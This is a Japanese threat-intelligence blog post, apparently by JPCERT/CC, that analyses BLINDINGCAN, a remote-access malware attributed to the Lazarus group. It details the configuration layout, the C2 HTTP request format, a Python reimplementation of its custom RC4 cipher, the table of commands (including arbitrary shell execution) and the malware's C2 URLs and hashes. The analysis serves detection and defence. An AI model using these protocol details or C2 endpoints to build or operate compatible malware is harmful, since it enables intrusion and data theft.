攻撃グループLazarusが使用するマルウェアBLINDINGCAN
前回のJPCERT/CC Eyesでは、攻撃グループLazarus(Hidden Cobraとも言われる)がネットワークに侵入後に使用するマルウェアを紹介しました。他にも、この攻撃グループは複数のマルウェアを使用することが知られており、最近ではCISAでも別のマルウェアBLINDINGCAN[1]についての情報を公開しています。
今回は、JPCERT/CCにて確認したBLINDINGCANの詳細について紹介します。
BLINDINGCANの概要
BLINDINGCANは、ローダー(図1のLoader)がDLLファイル(図1のBLINDINGCAN)をロードすることで動作します。図1は、BLINDINGCANが動作するまでの流れを示しています。JPCERT/CC では、エンコードされたBLINDINGCAN がLoader によってデコードされた後、実行される場合もあることを確認しています。
BLINDINGCANは、前回紹介したマルウェアと機能や通信のエンコード方法など、類似点が複数あります。以降では、BLINDINGCANの設定情報や通信方式などについて記載します。
設定情報
BLINDINGCANの設定情報(サイズ: 0xA84)の保存先には、以下の3パターンあることを確認しています。
- マルウェア内部に含まれている
- レジストリエントリに保存されている
- ファイルとして保存されている
ファイルとして保存されている場合は、BLINDINGCANと同じフォルダに保存されています。また、レジストリエントリに保存されている場合は、以下に保存されている事例を確認しています。
Key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion Value: "SM_Dev16[数字列]"
設定情報の暗号化にはXORエンコード、AESまたはRC4が使用されており、キーには固定値の他に、感染環境の固有の情報から作成されるパターンが存在します。
以下はJPCERT/CCで確認している暗号化キーのパターンです。
- [ファイル名][Export関数名][サービス名]
- [CPUID][コンピュータ名][プロセッサー名][物理メモリーサイズ]
図2は、デコードした設定情報の例です。通信先以外にもプロキシ情報などが含まれています。(設定情報について、詳しくはAppendix Aをご覧ください。)
文字列の難読化
BLINDINGCANは、一部の文字列を難読化しています。難読化にはRC4を使用しています。図3は、文字列難読化コードの例です。RC4キーは検体内にハードコードされています。
C2サーバーとの通信
以下は、BLINDINGCANが初めに送信するHTTP POSTリクエストのデータ例です。
POST /[PATH] HTTP/1.1 Connection: Keep-Alive Cache-Control: no-cache Content-Type: application/x-www-form-urlencoded Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) Chrome/28.0.1500.95 Safari/537.36 Host: [Server] Content-Length: [Length] id=d3Ztd3lod2t0Tqf42ux9uv3FGH+Y3oAc2w==&bbs=HA==&tbl=hzE4dlKcRq3gokgAGeMQug== &bbs_form=4GQAAA==
この送信データのフォーマットは以下の通りです。(RC4キー以外の各値は、RC4およびBase64エンコードされています。)なお、初めに送信するHTTP POSTリクエストのparam2のデータは、文字列"T1B7D95256A2001E"をエンコードしたものという特徴があります。
id=[RC4キー][param1:param2:param3]&[param1]=[ランダムな値(1000以上10000以下)]&[param2]=["T1B7D95256A2001E"]&[param3]=[ランダムなバイナリデータ]
また、POSTデータのパラメータ(param1、param2、param3)は以下からランダムに選択されます。
boardid,bbsNo,strBoardID,userid,bbs,filename,code,pid,seqNo,ReportID,v,PageNumber,num,view,read,action,page,mode,idx,cateId,bbsId,pType,pcode,index,tbl,idx_num,act,bbs_id,bbs_form,bid,bbscate,menu,tcode,b_code,bname,tb,borad01,borad02,borad03,mid,newsid,table,Board_seq,bc_idx,seq,ArticleID,B_Notice,nowPage,webid,boardDiv,sub_idxa
ここで使用されるRC4は通常のものとは異なり、キーストリームをC00h回分シフトさせる処理が入っています。以下はPythonで記載した、BLINDINGCANのRC4の処理です。なお、param3では通常のRC4が使用されており、このカスタムRC4は使用されていません。
def custom_rc4(data, key): x = 0 box = list(range(256)) for i in range(256): x = (x + int(box[i]) + int(key[i % len(key)])) % 256 box[i], box[x] = box[x], box[i] x = 0 for i in range(0xC00): i = i + 1 x = (x + int(box[i % 256])) % 256 wow_x = x box[i % 256], box[x] = box[x], box[i % 256] wow_y = i % 256 x = wow_y y = wow_x out = [] for char in data: x = (x + 1) % 256 y = (y + box[x]) % 256 box[x], box[y] = box[y], box[x] out.append(chr(char ^ box[(box[x] + box[y]) % 256])) return ''.join(out)
図4は、BLINDINGCANがC2との通信を開始して、命令を受信するまでの通信フローです。
最初のリクエストのレスポンスとして、param3のデータのBase64エンコードされた値(図4の[ランダムナなバイナリデータ])がサーバーから受信できた場合は、次のリクエストを送信します。
次に送信するデータは、param2にはデータなし、param3にはサーバーへ命令をリクエストするコマンド(図4のコマンドリクエスト(0x2040))が含まれています(param3のフォーマットについて詳しくは、Appendix Bをご覧ください)。なお、param3のデータは、XORエンコードおよびRC4暗号化された後にBase64エンコードされています。
その後、BLINDINGCANはサーバーからコマンドを受信します(受信データのフォーマットは、param3と同じです。詳しくは、Appendix B をご覧ください)。なお、受信データもXORエンコードおよびRC4暗号化された後にBase64エンコードされていますが、文字列の”+”がスペースに変換されています。
コマンド
BLINDINGCANは、多機能で以下の機能があることを確認しています。(詳しくは、Appendix Cをご覧ください。)
- ファイル関連(ファイルの一覧取得、削除、移動、作成時刻変更、コピー)
- プロセス関連(プロセス一覧取得、実行、停止)
- ファイルアップロード、ダウンロード
- ディスク情報の取得
- サービス一覧の取得
- 任意のシェルコマンド実行
おわりに
今回は、前回に引き続き攻撃グループLazarusが使用するマルウェアについて紹介しましたが、これ以外にも様々なマルウェアが確認されています。新たなマルウェアが確認された際は、レポートしたいと思います。
なお、今回解説した検体の通信先に関しては、Appendix Dに記載していますので、アクセスしている端末がないかご確認ください。
インシデントレスポンスグループ 朝長 秀誠
参考情報
[1] CISA: Malware Analysis Report (AR20-232A)
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a
Appendix A: 設定情報
オフセット | 説明 | 備考 |
0x000 | 通信先数 | 最大5つ |
0x004 | 通信先1 | |
0x108 | 通信先2 | |
0x20C | 通信先3 | |
0x310 | 通信先4 | |
0x414 | 通信先5 | |
0x518 | プロキシ設定の有無 | |
0x51C | プロキシIPアドレス | |
0x520 | プロキシポート番号 | |
0x522 | C2リプライフラグ | |
0x526 | ドライブ情報フラグ | |
0x52A | セッション情報フラグ | |
0x52E | 設定情報保存 | |
0x532 | 通信間隔 | |
0x534 | 起動時間 | |
0x53C | seed | 送信するランダムデータを作成する際に使用 |
0x59C | ファイル名 | コマンド"0x2039"で取得されるファイル名 |
0x5FC | 不明 | |
0x65C | 不明 | |
0x660 | 未使用 | |
0x674 | 実行するファイル名 | "c:¥windows¥system32¥cmd.exe"が含まれている |
0x87C | Tempフォルダ | コマンド実行結果を保存するフォルダ |
Appendix B: 送受信データの内容
オフセット | 長さ | 内容 |
0x00 | 2 | 未使用 |
0x02 | 2 | コマンド |
0x04 | 4 | 未使用 |
0x08 | 4 | パラメータの長さ |
0x0C | - | パラメータ(Base64 + RC4) |
Appendix C: コマンド
値 | 内容 |
0x2009 | システム情報送信 |
0x2010 | ドライブ情報取得 |
0x2011 | ディレクトリ一覧取得 |
0x2012 | コマンド実行(標準出力) |
0x2013 | ファイルアップロード(zlib圧縮) |
0x2014 | ファイルダウンロード |
0x2015 | 任意のプロセス実行 |
0x2016 | 任意のプロセス実行(ユーザ指定) |
0x2019 | プロセス一覧取得 |
0x2020 | プロセス停止 |
0x2021 | ファイル削除 |
0x2022 | 疎通確認 |
0x2023 | カレントディレクトリ変更 |
0x2027 | ファイル作成時間変更 |
0x2028 | C2サーバーとの通信間隔変更 |
0x2029 | C2サーバーとのセッション終了 |
0x2030 | アンインストール |
0x2031 | 設定情報取得 |
0x2032 | 設定情報上書き |
0x2033 | ディレクトリ情報取得 |
0x2034 | ドライブ空き容量取得 |
0x2037 | - |
0x2038 | Sleep |
0x2039 | ファイル名取得 |
0x2046 | ファイル書き込み |
0x2048 | ファイルコピー |
0x2049 | ファイル移動 |
0x2050 | ファイル削除 |
Appendix D: 通信先
- https://www.automercado.co.cr/empleo/css/main.jsp
- https://www.curiofirenze.com/include/inc-site.asp
- https://www.ne-ba.org/files/news/thumbs/thumbs.asp
- https://www.sanlorenzoyacht.com/newsl/include/inc-map.asp
Appendix E: マルウェアのハッシュ値
- 8db272ea1100996a8a0ed0da304610964dc8ca576aa114391d1be9d4c5dab02e
- 58027c80c6502327863ddca28c31d352e5707f5903340b9e6ccc0997fcb9631d